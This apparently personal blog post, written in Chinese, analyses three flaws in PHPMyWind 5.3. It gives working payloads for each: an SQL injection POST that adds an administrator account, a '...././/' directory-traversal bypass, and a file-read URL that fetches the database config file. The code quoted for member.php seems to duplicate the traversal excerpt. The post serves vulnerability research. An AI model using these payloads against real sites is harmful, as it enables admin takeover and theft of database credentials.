phpmywind最新版sql注入以及后台目录遍历和文件读取

最新版本 5.3
看wooyun厂商这忽略的架势就觉得是有点放弃治疗的想法啊。

前台会员注入

分析

http://www.wooyun.org/bugs/wooyun-2015-0117008
我看了一下最新版还有这个注入,而作者给的exp有坑处。

这是一个完善账号的功能,在核心文件里面,这个程序用了伪全局,也就导致可以给未初始化的变量赋值。
member.php文件

if(empty($dirname) or $dirname=='uploads/')
{
        $dirname = 'uploads/';
        $dirhigh = 'javascript:;';
        $dirtext = '当前是根目录';
}
else
{
 
        $dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));   //出问题的地方
        $dirname = htmlspecialchars($dirname);
        $dirhigh = '?dirname=';
        $dirtext = '返回上一层';
        $dirarr = explode('/', $dirname);
        $curnum = count($dirarr)-2;
        for($i=0; $i<$curnum; $i++)
        {
                $dirhigh .= $dirarr[$i].'/';
        }
}

看这个if,也就直接不然它check_app_login到是qq或者是微博就直接进入ExecNoneQuery的查询。加上可以直接赋值导致sql漏洞出现。

利用

先注册一个账号,testaa,123456,登录后。
访问:
http://10.211.55.3/phpmywind/PHPMyWind_5.3/member.php?a=perfect
并post:

username=123123a123x&password=a123123123&repassword=a123123123&email=a12312@qq.com&sql=insert into pmw_admin (`username`,`password`,`levelname`) values((1231235),0x6333323834643066393436303664653166643261663137326162613135626633,1)

wooyun那个exp没有加上levelname,以及那个password说是md5一次。
这里password是admin,先经过两次md5,再hex(有过滤),这样就能得到一个管理员权限的账号。

目录遍历

/admin/upload_filemgr_dir.php文件

if(empty($dirname) or $dirname=='uploads/')
{
        $dirname = 'uploads/';
        $dirhigh = 'javascript:;';
        $dirtext = '当前是根目录';
}
else
{
 
        $dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));   //出问题的地方
        $dirname = htmlspecialchars($dirname);
        $dirhigh = '?dirname=';
        $dirtext = '返回上一层';
        $dirarr = explode('/', $dirname);
        $curnum = count($dirarr)-2;
        for($i=0; $i<$curnum; $i++)
        {
                $dirhigh .= $dirarr[$i].'/';
        }
}

$dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));
这些过滤为空,并没有用循环去过滤,所以就很容易出问题。
由于这个是先过滤了../,再过滤./
所以可以构造一下...././/,这样经过滤后就能得到../字符导致目录遍历。

http://10.211.55.3/phpmywind/PHPMyWind_5.3/admin/upload_filemgr_dir.php?dirname=uploads/...././/...././/

文件读取

/admin/editfile_update.php文件

<?php
 
//设置文件编码
$action = isset($action) ? $action : '';
 
//更新编辑文件
if($action == 'update')
{
        if($cfg_editfile == 'Y')
        {
                //设置读取目录
                $dir = PHPMYWIND_ROOT.'/';
         
                //处理写入内容
                $content = stripslashes($content);
                $content = str_replace("##textarea","<textarea",$content);
                $content = str_replace("##/textarea","</textarea",$content);
                $content = str_replace("##form","<form",$content);
                $content = str_replace("##/form","</form",$content);
         
                //内容写入文件
                Writef($dir.$filename, $content, 'w');
 
                ShowMsg('文件保存成功!','editfile.php');
                exit();
        }
        else
        {
                ShowMsg('后台不允许直接编辑PHP文件!','editfile.php');
                exit();
        }
}
 
 
//显示编辑文件
if(!empty($filename))
{
        //设置读取目录
        $dir        = PHPMYWIND_ROOT.'/';
        $filename   = iconv('utf-8', 'gb2312', $filename);
        $gbfilename = mb_convert_encoding($filename, 'utf-8', 'gb2312');
 
        if(file_exists($dir.$filename))
        {
                $content = '';
                $fp = fopen($dir.$filename, 'r');
                 
                if(filesize($dir.$filename) > 0)
                {
                        $content = fread($fp, filesize($dir.$filename));
                        $content = str_replace("<textarea","##textarea",$content);
                        $content = str_replace("</textarea","##/textarea",$content);
                        $content = str_replace("<form","##form",$content);
                        $content = str_replace("</form","##/form",$content);
                }
 
                fclose($fp);
        }
        else
        {
                echo '<script type="text/javascript">alert("您所编辑的文件不存在!");location.href="editfile.php"</script>';
        }
}
?>

其实这个和第一个注入有点相似。if($action == 'update')
直接不进入这个判断就可以导致后面代码的执行以至于文件读取,直接读取db配置文件。

http://10.211.55.3/phpmywind/PHPMyWind_5.3/admin/editfile_update.php?filename=/include/conn.inc.php
posted @   l3m0n  阅读(3425)  评论(1)    收藏  举报
编辑推荐:
· 记一次 ADL 导致的 C++ 代码编译错误
· MySQL查询执行顺序:一张图看懂SQL是如何工作的
· 为什么PostgreSQL不自动缓存执行计划?
· 于是转身独立开发者
· C#.Net筑基-泛型T & 协变逆变
阅读排行:
· C#/.NET/.NET Core优秀项目和框架2025年6月简报
· Cursor 1.2重磅更新,这个痛点终于被解决了!
· C#开发的Panel滚动分页控件(滑动版) - 开源研究系列文章
· 上周热点回顾(6.30-7.6)
· 记一次ADL导致的C++代码编译错误
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
点击右上角即可分享
微信分享提示